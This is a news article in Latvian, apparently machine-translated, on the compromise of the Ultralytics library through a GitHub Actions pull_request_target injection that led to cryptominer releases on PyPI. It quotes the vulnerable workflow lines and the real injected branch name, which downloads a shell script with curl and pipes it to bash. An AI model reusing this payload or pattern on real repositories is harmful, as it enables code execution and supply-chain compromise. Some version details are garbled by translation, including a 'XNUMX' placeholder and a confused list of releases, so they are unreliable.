Kļūda GitHub darbību apdarinātājā izraisīja ļaunprātīgu Ultralytics izlaidumu publicēšanu

Uzbrucēji varēja izpildīt kodu ar GitHub Actions apdarinātāja tiesībām Ultralytics Python bibliotēkas repozitorijā, kas tiek izmantota, lai atrisinātu datora redzes problēmas, piemēram, objektu noteikšana attēlos un attēlu segmentēšana. Pēc piekļuves krātuvei uzbrucēji PyPI direktorijā publicēja vairākus jaunus Ultralytics izlaidumus, kuros bija iekļautas ļaunprātīgas izmaiņas kriptovalūtas ieguvei. Pēdējā mēneša laikā Ultralytics bibliotēka no PyPI kataloga ir lejupielādēta vairāk nekā 6.4 miljonus reižu.

Lai apdraudētu repozitoriju, ultralytics-actions pakotnē tika izmantota ievainojamība, kas tiek izmantota, lai automātiski palaistu apstrādātājus, kad GitHub repozitorijā tiek veiktas noteiktas darbības, izmantojot GitHub Actions mehānismu. Ultralytics projektā neaizsargātais apstrādātājs bija saistīts ar notikumu pull_request_target un tika izsaukts, kad tika saņemti jauni izvilkšanas pieprasījumi. Konkrēti, lai formatētu kodu nosūtītajos izvilkšanas pieprasījumos, tika izsaukts format.yml apdarinātājs un izpildīts faila action.yml sadaļā “palaist” norādītais kods, kas saturēja čaulas komandas ar aizstāšanas modeļiem: git pull origin. ${{ github.head_ref || github.ref }} git config --global user.name "${{ inputs.github_username }}" git config --global user.email "${{ inputs.github_email }}"

Tādējādi izvilkšanas pieprasījumā minētais Git filiāles nosaukums tika aizstāts ar čaulas komandām bez atbilstošas ​​aizbēgšanas. Jāatzīmē, ka augustā ultralytics-actions pakotnē jau tika novērsta līdzīga ievainojamība, kas saistīta ar ārējas vērtības izmantošanu echo funkcijā: echo “github.event.pull_request.head.ref: ${{ github.event.pull_request .head.ref }} »

Lai organizētu sava koda izpildi GitHub darbību apdarinātāja kontekstā, uzbrucēji nosūtīja izvilkšanas pieprasījumu uz ultralytics repozitoriju, kā filiāles nosaukumu norādot: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

Attiecīgi, kad tika saņemts izvilkšanas pieprasījums, kodā tika ievietota uzbrucēja norādītā virkne “$(…)”, kas pēc apdarinātāja palaišanas noveda pie koda “curl -sSfL raw.githubusercontent” izpildes. com/…/file.sh | bash".

 Kļūda GitHub darbību apdarinātājā izraisīja ļaunprātīgu Ultralytics izlaidumu publicēšanu

Darbojošo kodu GitHub darbību kontekstā var izmantot, lai tvertu repozitorija piekļuves pilnvaru un citus sensitīvus datus. Pagaidām nav skaidrs, kā uzbrucējiem izdevās ģenerēt laidienu, izmantojot iespēju izpildīt savu kodu programmā GitHub Actions, un tiek pieņemts, ka tas kļuva iespējams, mainoties publish.yml apstrādātājam (uzbrucēji noņēma verifikāciju; konts, kuram ir atļauts publicēt laidienus PyPI), un tehnoloģiju izmantošana, kas saindē GitHub Actions būvējuma kešatmiņu, lai ievietotu jūsu datus laidienā.

Pirmo ļaunprātīgo Ultralytics 8.3.41 versiju uzbrucēji publicēja PyPI platformā 4. decembrī plkst. 23:51 (MSK) un noņēma nākamajā dienā plkst. 12:15. Plkst. 15:47 tika publicēta vēl viena versija — 8.3.42 —, kas tika noņemta plkst. 16:47. Tādējādi ļaunprātīgās versijas bija pieejamas lejupielādei kopumā aptuveni 13 stundas (PyPI reģistrē aptuveni 250 000 ultralytics bibliotēkas lejupielāžu dienā). 8.3.41 un 8.3.42 versijās bija kods, kas tika lejupielādēts no ārēja avota. serveris XMRig komponents kriptovalūtu ieguvei.

Projekta izstrādātāji problēmu novērsa un izveidoja korektīvos laidienus 8.3.43 un 8.3.44, bet divas dienas vēlāk tika veikts vēl viens uzbrukums, kura laikā uzbrucēji šodien plkst. 04:41 un 05:27 publicēja divus papildu ļaunprātīgas laidienus 8.3.45. 8.3.46. un 8.3.44., kas ietver citu kalnrūpniecības kodu. Līdz izmeklēšanas beigām lietotājiem tiek ieteikts atturēties no jaunu versiju instalēšanas un izlabot XNUMX laidienu kā atkarības.

Avots: opennet.ru

Iegādājieties uzticamu mitināšanu vietnēm ar DDoS aizsardzību, VPS VDS serveriem 🔥 Iegādājieties uzticamu tīmekļa vietņu mitināšanu ar DDoS aizsardzību, VPS VDS serveriem | ProHoster